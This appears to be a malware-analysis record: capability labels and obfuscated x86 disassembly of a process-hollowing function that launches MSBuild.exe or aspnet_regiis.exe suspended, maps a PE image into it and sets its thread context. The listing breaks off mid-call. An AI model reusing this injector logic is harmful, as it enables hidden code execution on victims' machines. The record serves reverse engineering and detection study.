Function at 0x100096f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x158
mov eax, dword [0x10070404]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
mov edx, ecx
sub edx, 0xd516bb87
sub edx, 1
add edx, 0xd516bb87
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x15a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x159], al
mov dword [ebp - 0x160], 0xb3cb6012
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x164], eax
sub eax, 0x804731b6
je 0x1000f5c3
jmp 0x1000976b
mov eax, dword [ebp - 0x164]
sub eax, 0x8097ebe7
je 0x1000bd62
jmp 0x10009781
mov eax, dword [ebp - 0x164]
sub eax, 0x81dfd7f6
je 0x1000e892
jmp 0x10009797
mov eax, dword [ebp - 0x164]
sub eax, 0x823b38fe
je 0x1000f6e1
jmp 0x100097ad
mov eax, dword [ebp - 0x164]
sub eax, 0x824f6b66
je 0x10010276
jmp 0x100097c3
mov eax, dword [ebp - 0x164]
sub eax, 0x824fd103
je 0x1000c77f
jmp 0x100097d9
mov eax, dword [ebp - 0x164]
sub eax, 0x83289a1b
je 0x1000db95
jmp 0x100097ef
mov eax, dword [ebp - 0x164]
sub eax, 0x833e1c77
je 0x1000f8b4
jmp 0x10009805
mov eax, dword [ebp - 0x164]
sub eax, 0x83620f65
je 0x1000e698
jmp 0x1000981b
mov eax, dword [ebp - 0x164]
sub eax, 0x84c822b7
je 0x1000ba9a
jmp 0x10009831
mov eax, dword [ebp - 0x164]
sub eax, 0x8604a976
je 0x1000de3f
jmp 0x10009847
mov eax, dword [ebp - 0x164]
sub eax, 0x862c7170
je 0x1000cb02
jmp 0x1000985d
mov eax, dword [ebp - 0x164]
sub eax, 0x862d905e
je 0x1000f9db
jmp 0x10009873
mov eax, dword [ebp - 0x164]
sub eax, 0x86ed79ec
je 0x10010865
jmp 0x10009889
mov eax, dword [ebp - 0x164]
sub eax, 0x87cf9a31
je 0x1000fa8f
jmp 0x1000989f
mov eax, dword [ebp - 0x164]
sub eax, 0x87fceeaa
je 0x1000dfec
jmp 0x100098b5
mov eax, dword [ebp - 0x164]
sub eax, 0x8ae8ae35
je 0x10010581
jmp 0x100098cb
mov eax, dword [ebp - 0x164]
sub eax, 0x8b3fd574
je 0x1000da0e
jmp 0x100098e1
mov eax, dword [ebp - 0x164]
sub eax, 0x8b7dcfd3
je 0x1000cd3e
jmp 0x100098f7
mov eax, dword [ebp - 0x164]
sub eax, 0x8bc075a3
je 0x1000b83d
jmp 0x1000990d
mov eax, dword [ebp - 0x164]
sub eax, 0x8c08f882
je 0x1000ff3c
jmp 0x10009923
mov eax, dword [ebp - 0x164]
sub eax, 0x8f066a0f
je 0x1000e0b3
jmp 0x10009939
mov eax, dword [ebp - 0x164]
sub eax, 0x8fb7944c
je 0x100108e8
jmp 0x1000994f
mov eax, dword [ebp - 0x164]
sub eax, 0x8fd646c0
je 0x1000c9d2
jmp 0x10009965
mov eax, dword [ebp - 0x164]
sub eax, 0x90457203
je 0x10010b68
jmp 0x1000997b
mov eax, dword [ebp - 0x164]
sub eax, 0x90a4f272
je 0x1000b3b4
jmp 0x10009991
mov eax, dword [ebp - 0x164]
sub eax, 0x91d196eb
je 0x1000fac2
jmp 0x100099a7
mov eax, dword [ebp - 0x164]
sub eax, 0x922e6be7
je 0x1000bc4d
jmp 0x100099bd
mov eax, dword [ebp - 0x164]
sub eax, 0x9374f4b9
je 0x1000e72c
jmp 0x100099d3
mov eax, dword [ebp - 0x164]
sub eax, 0x9400c069
je 0x1000eab7
jmp 0x100099e9
mov eax, dword [ebp - 0x164]
sub eax, 0x94443b56
je 0x1000c986
jmp 0x100099ff
mov eax, dword [ebp - 0x164]
sub eax, 0x953adf49
je 0x1000bf30
jmp 0x10009a15
mov eax, dword [ebp - 0x164]
sub eax, 0x961e4a9d
je 0x10010a10
jmp 0x10009a2b
mov eax, dword [ebp - 0x164]
sub eax, 0x96836194
je 0x10010761
jmp 0x10009a41
mov eax, dword [ebp - 0x164]
sub eax, 0x97a6927b
je 0x1000f7e8
jmp 0x10009a57
mov eax, dword [ebp - 0x164]
sub eax, 0x98a217b2
je 0x1000e802
jmp 0x10009a6d
mov eax, dword [ebp - 0x164]
sub eax, 0x991a3f16
je 0x1000beba
jmp 0x10009a83
mov eax, dword [ebp - 0x164]
sub eax, 0x9aa82d29
je 0x1000ca01
jmp 0x10009a99
mov eax, dword [ebp - 0x164]
sub eax, 0x9b682d12
je 0x100104f8
jmp 0x10009aaf
mov eax, dword [ebp - 0x164]
sub eax, 0x9b6b6034
je 0x1000b91d
jmp 0x10009ac5
mov eax, dword [ebp - 0x164]
sub eax, 0x9bb847c1
je 0x1000f546
jmp 0x10009adb
mov eax, dword [ebp - 0x164]
sub eax, 0x9c06510e
je 0x10010a37
jmp 0x10009af1
mov eax, dword [ebp - 0x164]
sub eax, 0x9d2b9064
je 0x1000db1f
jmp 0x10009b07
mov eax, dword [ebp - 0x164]
sub eax, 0x9d88770b
je 0x1000be18
jmp 0x10009b1d
mov eax, dword [ebp - 0x164]
sub eax, 0x9da8a983
je 0x1000d542
jmp 0x10009b33
mov eax, dword [ebp - 0x164]
sub eax, 0x9dfff905
je 0x1000ef49
jmp 0x10009b49
mov eax, dword [ebp - 0x164]
sub eax, 0x9e979434
je 0x10010da8
jmp 0x10009b5f
mov eax, dword [ebp - 0x164]
sub eax, 0xa071f83c
je 0x1000b512
jmp 0x10009b75
mov eax, dword [ebp - 0x164]
sub eax, 0xa0ca8ecc
je 0x1000e622
jmp 0x10009b8b
mov eax, dword [ebp - 0x164]
sub eax, 0xa445410d
je 0x1000f4f5
jmp 0x10009ba1
mov eax, dword [ebp - 0x164]
sub eax, 0xa58ae8a6
je 0x1000ceb0
jmp 0x10009bb7
mov eax, dword [ebp - 0x164]
sub eax, 0xa6090e44
je 0x1000bdfb
jmp 0x10009bcd
mov eax, dword [ebp - 0x164]
sub eax, 0xa7623365
je 0x1000f555
jmp 0x10009be3
mov eax, dword [ebp - 0x164]
sub eax, 0xa90c75da
je 0x1000d763
jmp 0x10009bf9
mov eax, dword [ebp - 0x164]
sub eax, 0xa940db00
je 0x1000dd4d
jmp 0x10009c0f
mov eax, dword [ebp - 0x164]
sub eax, 0xa961baa2
je 0x1000be69
jmp 0x10009c25
mov eax, dword [ebp - 0x164]
sub eax, 0xaa8a7900
je 0x10010b0b
jmp 0x10009c3b
mov eax, dword [ebp - 0x164]
sub eax, 0xabd4356f
je 0x1000d5dc
jmp 0x10009c51
mov eax, dword [ebp - 0x164]
sub eax, 0xaf590dbb
je 0x1000d6dd
jmp 0x10009c67
mov eax, dword [ebp - 0x164]
sub eax, 0xb0859b0c
je 0x10010ad8
jmp 0x10009c7d
mov eax, dword [ebp - 0x164]
sub eax, 0xb17993e8
je 0x100104e9
jmp 0x10009c93
mov eax, dword [ebp - 0x164]
sub eax, 0xb272febf
je 0x1000d67c
jmp 0x10009ca9
mov eax, dword [ebp - 0x164]
sub eax, 0xb2fe31af
je 0x100106ec
jmp 0x10009cbf
mov eax, dword [ebp - 0x164]
sub eax, 0xb324b720
je 0x1000f0a3
jmp 0x10009cd5
mov eax, dword [ebp - 0x164]
sub eax, 0xb3cb6012
je 0x1000b31c
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6dfbf592
mov ecx, 0xf3fc2cca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [0x10071688]
mov ecx, dword [0x10071684]
mov edx, eax
sub edx, 0xa6b0e1e6
sub edx, 1
add edx, 0xa6b0e1e6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6dfbf592
mov ecx, 0x28669884
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
mov edx, ecx
add edx, 0x52690737
sub edx, 1
sub edx, 0x52690737
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x87cf9a31
mov ecx, 0x3648512c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x160], 0x7bbea88b
jmp 0x1001105b
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0xd0], eax
mov eax, dword [0x10071688]
mov ecx, dword [0x10071684]
mov edx, eax
sub edx, 0xf92d9659
sub edx, 1
add edx, 0xf92d9659
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3f80e22b
mov ecx, 0x4d6ffa9b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x148]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10012eb0
add esp, 0xc
mov eax, dword [ebp - 0x144]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10012eb0
add esp, 0xc
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x160], 0x545282e8
jmp 0x1001105b
mov cl, byte [ebp - 0xbb]
and cl, 1
mov eax, dword [ebp - 0x140]
mov byte [eax], cl
mov eax, dword [ebp - 0x13c]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0xba], al
mov eax, dword [0x10071688]
mov ecx, dword [0x10071684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x68f19ef7
mov ecx, 0xf24ead74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [ebp - 0x13c]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x160], 0x9d88770b
jmp 0x1001105b
mov eax, dword [0x10071688]
mov ecx, dword [0x10071684]
mov edx, eax
sub edx, 0x789e96e9
sub edx, 1
add edx, 0x789e96e9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdc5a4cfb
mov ecx, 0xa961baa2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [0x10071688]
mov ecx, dword [0x10071684]
mov edx, eax
sub edx, 0x6eeb39a
sub edx, 1
add edx, 0x6eeb39a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdc5a4cfb
mov ecx, 0x991a3f16
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
mov edx, ecx
add edx, 0x8e684cad
sub edx, 1
sub edx, 0x8e684cad
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x30fce4da
mov ecx, 0x953adf49
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x61c5b829
mov ecx, 0x54613fc7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [0x10071688]
mov ecx, dword [0x10071684]
mov edx, eax
sub edx, 0xc54697c6
sub edx, 1
add edx, 0xc54697c6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe44d5622
mov ecx, 0x34707d6c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov dword [ebp - 0x160], 0x53609413
jmp 0x1001105b
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x160], 0x9aa82d29
jmp 0x1001105b
mov eax, dword [0x10071688]
mov ecx, dword [0x10071684]
mov edx, eax
add edx, 0x8c86e05e
sub edx, 1
sub edx, 0x8c86e05e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4324bb4a
mov ecx, 0xb7251832
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [0x10071688]
mov ecx, dword [0x10071684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe5ff1cac
mov ecx, 0x8d98b9b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov dword [ebp - 0x160], 0x3d282d16
jmp 0x1001105b
mov dword [ebp - 0x160], 0xbc695ffb
jmp 0x1001105b
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x124]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x114]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x160], 0xef2e967c
jmp 0x1001105b
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x6c]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x74]
sub eax, 0x21f21479
sub eax, ecx
add eax, 0x21f21479
mov ecx, dword [ebp - 0x78]
add ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
mov edx, ecx
add edx, 0xfb950d2b
sub edx, 1
sub edx, 0xfb950d2b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x52dec91b
mov ecx, 0xb272febf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov dword [ebp - 0x160], 0x3b85cf1a
jmp 0x1001105b
mov eax, dword [ebp - 0x12c]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x62], al
mov dword [ebp - 0x160], 0x2e496b5c
jmp 0x1001105b
mov dword [ebp - 0x160], 0x38821c02
jmp 0x1001105b
mov eax, dword [0x10071688]
mov ecx, dword [0x10071684]
mov edx, eax
sub edx, 0xbe68acb1
sub edx, 1
add edx, 0xbe68acb1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9c06510e
mov ecx, 0xd4f4db12
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
mov edx, ecx
sub edx, 0x3df7a250
sub edx, 1
add edx, 0x3df7a250
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x43af4f69
mov ecx, 0x83289a1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [ebp - 0x11c]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0xcacb3717
sub ecx, 8
add ecx, 0xcacb3717
shr ecx, 1
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x150]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
sub eax, 0x6d1cded7
sub eax, ecx
add eax, 0x6d1cded7
mov dword [ebp - 0x58], eax
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
mov edx, ecx
add edx, 0x737534f2
sub edx, 1
sub edx, 0x737534f2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x43af4f69
mov ecx, 0xba12e0a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov dword [ebp - 0x160], 0x3461c34c
jmp 0x1001105b
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
mov edx, ecx
sub edx, 0x610df4ec
sub edx, 1
add edx, 0x610df4ec
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x635fa2ea
mov ecx, 0x62e9a9f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
mov edx, ecx
sub edx, 0x99ae30b1
sub edx, 1
add edx, 0x99ae30b1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1a279262
mov ecx, 0x7ed7130c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0x49], al
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe953942c
mov ecx, 0x5108532
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
mov edx, ecx
add edx, 0x3ab1b829
sub edx, 1
sub edx, 0x3ab1b829
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x750c6f9d
mov ecx, 0x83620f65
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov dword [ebp - 0x160], 0x3e606f0e
jmp 0x1001105b
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
mov edx, ecx
sub edx, 0xe7dbb61a
sub edx, 1
add edx, 0xe7dbb61a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb0859b0c
mov ecx, 0x11733f69
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
mov edx, ecx
add edx, 0x628d7042
sub edx, 1
sub edx, 0x628d7042
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe97ea756
mov ecx, 0xf03de44
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
mov edx, ecx
add edx, 0x80019df0
sub edx, 1
sub edx, 0x80019df0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2a2a05ee
mov ecx, 0x73b78d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
mov edx, ecx
sub edx, 0xe21b1193
sub edx, 1
add edx, 0xe21b1193
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3ea22383
mov ecx, 0x436ab031
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x1c], eax
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9b682d12
mov ecx, 0x1ffe93fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
mov edx, ecx
add edx, 0x33136402
sub edx, 1
sub edx, 0x33136402
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5fb75944
mov ecx, 0x55c1d81f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [0x10071688]
mov ecx, dword [0x10071684]
mov edx, eax
add edx, 0x9cbace9c
sub edx, 1
sub edx, 0x9cbace9c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfc2cf455
mov ecx, 0x9bb847c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov dword [ebp - 0x160], 0xa7623365
jmp 0x1001105b
mov ecx, dword [0x10071688]
mov eax, dword [0x10071684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb2fe31af
mov ecx, 0x804731b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1001105b
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0x18]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x148]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
